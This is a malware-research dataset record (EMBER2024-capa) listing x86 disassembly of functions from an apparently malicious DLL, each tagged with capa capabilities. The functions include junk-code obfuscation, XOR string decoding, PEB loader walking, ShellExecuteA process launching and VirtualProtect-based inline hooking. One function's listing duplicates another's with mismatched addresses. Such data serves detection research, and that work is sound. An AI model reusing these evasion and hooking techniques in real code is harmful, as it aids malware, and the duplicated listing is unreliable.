joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10013200
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
test eax, eax
je 0x1001320f
jne 0x1001320e
call 0x93052296
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001321d
jmp 0x1001321f
je 0x1001321a
clc
jae 0x10013224
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x10013229
jne 0x10013229
pop eax
pushf
push 0xa
jae 0x10013236
jmp 0x10013231
call 0x10013238
jae 0x10013231
add esp, 4
jmp 0x1001323d
dec dword [esp]
jno 0x10013242
jns 0x1001322d
jp 0x10013246
add esp, 4
popf
jmp 0x1001324d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10013266
jne 0x10013266
call 0x1fc165ba
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.10032cd8
clc
jae 0x10013283
shl byte [ecx], 1
pushf
push 0xa
jae 0x10013290
jmp 0x1001328b
call 0x10013292
jae 0x1001328b
add esp, 4
jmp 0x10013297
dec dword [esp]
jno 0x1001329c
jns 0x10013287
jp 0x100132a0
add esp, 4
popf
jmp 0x100132a7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100132c0
jne 0x100132c0
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x100132c5
jmp 0x100132c7
je 0x100132c2
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100132e1
jne 0x100132e0
call 0x93052368
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x100132ef
jne 0x100132ef
call fcn.100133af
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x100132fd
add esi, dword [ebp]
jne 0x100132fc
call 0x93052384
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001330b
jmp 0x1001330d
je 0x10013308
clc
jae 0x10013312
jp 0x100132f9
je 0x10013317
jne 0x10013317
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x10013324
jmp 0x1001331f
call 0x10013326
jae 0x1001331f
add esp, 4
jmp 0x1001332b
dec dword [esp]
jno 0x10013330
jns 0x1001331b
jp 0x10013334
add esp, 4
popf
jmp 0x1001333b
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10013354
jne 0x10013354
call 0x1fc166a8
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x10013238
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
xor eax, eax
test eax, eax
je 0x1001320f
jne 0x1001320e
call 0x93052296
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
pop eax
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001321d
jmp 0x1001321f
je 0x1001321a
clc
jae 0x10013224
sub dword [eax + 0x74], ebx
add esi, dword [ebp + 1]
je 0x10013229
jne 0x10013229
pop eax
pushf
push 0xa
jae 0x10013236
jmp 0x10013231
call 0x10013238
jae 0x10013231
add esp, 4
jmp 0x1001323d
dec dword [esp]
jno 0x10013242
jns 0x1001322d
jp 0x10013246
add esp, 4
popf
jmp 0x1001324d
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10013266
jne 0x10013266
call 0x1fc165ba
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
push 0xffffffffffffffff
call fcn.10032cd8
clc
jae 0x10013283
shl byte [ecx], 1
pushf
push 0xa
jae 0x10013290
jmp 0x1001328b
call 0x10013292
jae 0x1001328b
add esp, 4
jmp 0x10013297
dec dword [esp]
jno 0x1001329c
jns 0x10013287
jp 0x100132a0
add esp, 4
popf
jmp 0x100132a7
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x100132c0
jne 0x100132c0
and dword [ebx + eax - 0x15], edi
add esp, dword [ecx]
jl 0x100132c5
jmp 0x100132c7
je 0x100132c2
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
xor eax, eax
test eax, eax
je 0x100132e1
jne 0x100132e0
call 0x93052368
rol byte [ebx + eax*4], 0xf0
add eax, 0x1750374
xor eax, 3
add eax, 4
xor eax, 5
je 0x100132ef
jne 0x100132ef
call fcn.100133af
add byte [ebx], dh
rol byte [ebp + 0x750374c0], 0
mov esp, 0
xor eax, eax
test eax, eax
je 0x100132fd
add esi, dword [ebp]
jne 0x100132fc
call 0x93052384
rol byte [ebx + eax*4], 0xf0
add eax, 0x3eb037c
out 0x74, eax
sti
xor eax, 3
add eax, 4
xor eax, 5
jl 0x1001330b
jmp 0x1001330d
je 0x10013308
clc
jae 0x10013312
jp 0x100132f9
je 0x10013317
jne 0x10013317
out 0x66, eax
pushfd
pushf
push 0xa
jae 0x10013324
jmp 0x1001331f
call 0x10013326
jae 0x1001331f
add esp, 4
jmp 0x1001332b
dec dword [esp]
jno 0x10013330
jns 0x1001331b
jp 0x10013334
add esp, 4
popf
jmp 0x1001333b
push eax
push edx
xor edx, 0x90
push edx
sub edx, 0x80
pop eax
add eax, edx
pop edx
pop eax
je 0x10013354
jne 0x10013354
call 0x1fc166a8
wait
rcl byte [edx + 0x33], 0xd0
push eax
xor eax, eax
setnp al
push edx
xor edx, eax
shl edx, 2
xchg edx, eax
pop edx
or eax, ecx
pop eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x10013370
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
push 5
push 0
push 0
mov eax, dword [ebp + 8]
push eax
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
pop ebp
ret

Function at 0x10013390
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x26
mov dword [ebp - 4], 0
jmp 0x100133b2
Function at 0x100133af
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 4
jge 0x100133f1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x5e8de71]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100133ec
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x100133a9
mov eax, 1
shl eax, 2
mov ecx, dword [ebp - 0xc]
mov byte [ecx + eax], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10013440
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov eax, dword fs:[0x30]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], 0
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ecx + 0xc]
add edx, 0xc
cmp dword [ebp - 8], edx
je 0x10013513
cmp dword [ebp - 8], 0
je 0x10013513
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
mov edx, dword [ebp + 0xc]
cmp edx, dword [ecx + 0x18]
jne 0x10013506
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x18]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x1c]
mov dword [eax + 4], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x20]
mov dword [eax + 8], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x30]
mov dword [eax + 0x18], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2c]
mov word [eax + 0x14], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x2e]
mov word [eax + 0x16], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov edx, dword [ecx + 0x28]
mov dword [eax + 0x10], edx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x24]
mov word [eax + 0xc], dx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 4]
mov dx, word [ecx + 0x26]
mov word [eax + 0xe], dx
mov al, 1
jmp 0x10013515
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
mov dword [ebp - 8], ecx
jmp 0x10013462
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x100137f0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x31
mov dword [ebp - 4], 0
jmp 0x10013812
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x14
jge 0x10013851
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0xe0e17dc]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001384c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10013809
mov eax, 1
imul ecx, eax, 0x14
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10013870
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xf4
mov dword [ebp - 4], 0
jmp 0x10013892
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x100138d1
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x2692055e]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x100138cc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10013889
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10013b60
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [0x1005f904]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10013c80
add esp, 8
mov ecx, dword [ebp + 0x10]
mov dword [ecx + 4], eax
mov edx, dword [ebp + 0x10]
mov eax, dword [edx + 4]
add eax, 5
push eax
call fcn.10029145
add esp, 4
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x10], ecx
lea edx, [ebp - 0x18]
push edx
push 0x40
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
add ecx, 5
push ecx
mov edx, dword [ebp - 0x10]
push edx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp + 0x10]
mov ecx, dword [eax + 4]
push ecx
mov edx, dword [ebp + 8]
push edx
mov eax, dword [ebp - 0x10]
push eax
call fcn.10029e50
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ecx + 4]
mov eax, dword [ebp - 0x10]
mov byte [eax + edx], 0xe9
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp + 8]
add edx, dword [ecx + 4]
push edx
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp - 0x10]
add ecx, dword [eax + 4]
push ecx
call fcn.10013c60
add esp, 8
mov edx, dword [ebp + 0x10]
mov ecx, dword [edx + 4]
mov edx, dword [ebp - 0x10]
mov dword [edx + ecx + 1], eax
mov eax, 1
imul ecx, eax, 0
mov byte [ebp + ecx - 0xc], 0xe9
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.10013c60
add esp, 8
mov ecx, 1
shl ecx, 0
mov dword [ebp + ecx - 0xc], eax
push 5
lea edx, [ebp - 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.10029e50
add esp, 0xc
mov ecx, dword [ebp + 0x10]
mov edx, dword [ebp - 0x10]
mov dword [ecx], edx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.100290d5
mov esp, ebp
pop ebp
ret
Function at 0x10013c80
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ecx
lea eax, [ebp - 4]
push eax
push 0x40
push 5
mov ecx, dword [ebp + 8]
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea edx, [ebp - 4]
push edx
push 0x40
push 5
push 0x1005f0c8
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push 0x1005f0d0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
push 5
mov ecx, 1
imul edx, ecx, 0
add edx, 0x1005f0c8
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.1002b3ad
add esp, 0xc
test eax, eax
jne 0x10013ce4
mov eax, 0xb
jmp 0x10013d0f
push 5
mov ecx, 1
imul edx, ecx, 0
add edx, 0x1005f0d0
push edx
mov eax, dword [ebp + 8]
push eax
call fcn.1002b3ad
add esp, 0xc
test eax, eax
jne 0x10013d0c
mov eax, 5
jmp 0x10013d0f
mov eax, dword [ebp + 0xc]
mov esp, ebp
pop ebp
ret

Function at 0x10013da0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x1c
mov dword [ebp - 4], 0
jmp 0x10013dc2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12
jge 0x10013e01
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x7439b674]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10013dfc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10013db9
mov eax, 1
imul ecx, eax, 0x12
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10013e20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x8f
mov dword [ebp - 4], 0
jmp 0x10013e42
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc
jge 0x10013e81
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x1048d96e]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10013e7c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10013e39
mov eax, 1
imul ecx, eax, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x10013ea0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x9b
mov dword [ebp - 4], 0
jmp 0x10013ec2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12
jge 0x10013f01
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x654a77ba]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10013efc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10013eb9
mov eax, 1
imul ecx, eax, 0x12
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10013f20
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xd6
mov dword [ebp - 4], 0
jmp 0x10013f42
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 9
jge 0x10013f81
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x57268526]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10013f7c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10013f39
mov eax, 1
imul ecx, eax, 9
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x10013fa0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xe4
mov dword [ebp - 4], 0
jmp 0x10013fc2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc
jge 0x10014001
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx - 0x45df1c07]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x10013ffc
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x10013fb9
mov eax, 1
imul ecx, eax, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x100156b0
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], ecx
mov eax, 4
shl eax, 0
mov ecx, dword [ebp - 4]
mov dword [ecx + eax + 0x10], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 4]
mov dword [ecx + eax + 0x10], 0
mov edx, 4
imul eax, edx, 0
mov ecx, dword [ebp - 4]
mov dword [ecx + eax], 0x67452301
mov edx, 4
shl edx, 0
mov eax, dword [ebp - 4]
mov dword [eax + edx], 0xefcdab89
mov ecx, 4
shl ecx, 1
mov edx, dword [ebp - 4]
mov dword [edx + ecx], 0x98badcfe
mov eax, 4
imul ecx, eax, 3
mov edx, dword [ebp - 4]
mov dword [edx + ecx], 0x10325476
mov esp, ebp
pop ebp
ret
Function at 0x1001ab50
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
call fcn.10005270
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xffffffff
jne 0x1001ab70
xor al, al
jmp 0x1001ab7e
mov eax, dword [ebp - 4]
and eax, 0x10
je 0x1001ab7c
mov al, 1
jmp 0x1001ab7e
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0x1001b330
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 4
mov dword [ebp - 4], 0
jmp 0x1001b352
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x15
jge 0x1001b391
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x133e70b]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001b38c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001b349
mov eax, 1
imul ecx, eax, 0x15
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001b3b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x2d
mov dword [ebp - 4], 0
jmp 0x1001b3d2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x12
jge 0x1001b411
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x4b9ddb]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001b40c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001b3c9
mov eax, 1
imul ecx, eax, 0x12
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001b430
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x51
mov dword [ebp - 4], 0
jmp 0x1001b452
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x17
jge 0x1001b491
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x750cd0d2]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001b48c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001b449
mov eax, 1
imul ecx, eax, 0x17
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4
Function at 0x1001b4b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x60
mov dword [ebp - 4], 0
jmp 0x1001b4d2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc
jge 0x1001b511
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x71372462]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001b50c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001b4c9
mov eax, 1
imul ecx, eax, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001b530
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0x97
mov dword [ebp - 4], 0
jmp 0x1001b552
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0xc
jge 0x1001b591
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x62cf5ac5]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001b58c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001b549
mov eax, 1
imul ecx, eax, 0xc
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4

Function at 0x1001b5b0
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 0xc], ecx
mov dword [ebp - 8], 0xa6
mov dword [ebp - 4], 0
jmp 0x1001b5d2
mov eax, dword [ebp - 4]
add eax, 1
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0x11
jge 0x1001b611
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 4]
movsx edx, byte [ecx + 0x59652bcb]
xor edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
add eax, dword [ebp - 4]
mov byte [eax], dl
mov ecx, dword [ebp - 8]
add ecx, 1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
and edx, 0x800000ff
jns 0x1001b60c
dec edx
or edx, 0xffffff00
inc edx
mov dword [ebp - 8], edx
jmp 0x1001b5c9
mov eax, 1
imul ecx, eax, 0x11
mov edx, dword [ebp - 0xc]
mov byte [edx + ecx], 0
mov eax, dword [ebp - 0xc]
mov esp, ebp
pop ebp
ret 4